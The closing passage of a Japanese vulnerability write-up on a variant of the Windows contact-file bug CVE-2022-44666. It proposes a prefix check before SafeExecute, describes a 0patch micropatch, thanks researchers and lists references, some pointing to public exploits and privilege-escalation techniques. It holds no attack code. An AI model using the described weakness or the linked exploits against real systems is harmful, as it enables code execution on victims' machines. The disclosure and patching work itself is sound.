こんなに簡単なことです。「SafeExecute」を呼び出す前にこれをチェックするだけで十分です。対象文字列(v23)が "mailto:" で始まるかどうかをテストするだけで、このバグは完全に修正されるでしょう(IMHO)。
## 非公式修正
数日~数週間前、[0patch][R.23] の [@mkolsek][R.30] にこの問題を伝えるために連絡したところ、彼はいつもとても親切にしてくれますが、[それ以来Windows 7用の非公式修正が提供されている][R.29](4年前)と教えてくれました。それは驚きであり、良いニュースでした!
テストされたところ、CVE-2022-44666 の新しい亜種を正常に阻止しました。マイクロパッチは、href属性で渡される攻撃者制御の文字列が "mailto:"、"http://"、"https://" のいずれかで始まらない場合、先頭に "http://" を追加します。これで問題は完全に修正されます。現在は最新のWindowsバージョンにも拡張される予定で、一部のオフセットを更新するだけで済みます。

いずれにせよ、公式パッチが提供される方が良いでしょう。
## 謝辞
+ [@hyp3rlinx][R.1]: 特別な感謝と謝辞。彼が数年前にこの研究を始め、その成果がこの記事に不可欠でした。~~彼にはこの発見の功績も認められるべきでしたが、残念ながら間に合わず連絡できませんでした~~。 すでに完了しています(***2023/02/08 更新***)。
+ [@Edu_Braun_0day][R.20]: [この問題][R.31]にも取り組んだ方。
+ [@mkolsek][R.30]。
+ [@matalaz][R.12]。
+ [@buffaloverflow][R.19]。
+ [@msftsecresponse][R.2]。
+ ...
[@j00sean](https://twitter.com/j00sean) 著
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: <https://www.exploit-db.com/exploits/46222> "John Page (aka hyp3rlinx)'s exploit fully disclosed more than 4 years ago"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "MS Documentation about syslink controls"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: search-ms disabling for Mozilla Firefox"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF attributes and associated fields documentation"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor server quick start"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW function"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina vulnerability"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk vulnerability"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab files"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "Parent process technique"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "Getsystem via parent process"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, a little bit unexpected attack chain"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "Micropatch released 4 years ago"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: <https://packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html> "Microsoft Windows VCF or Contact' File - URL Manipulation-Spoof Arbitrary Code Execution"
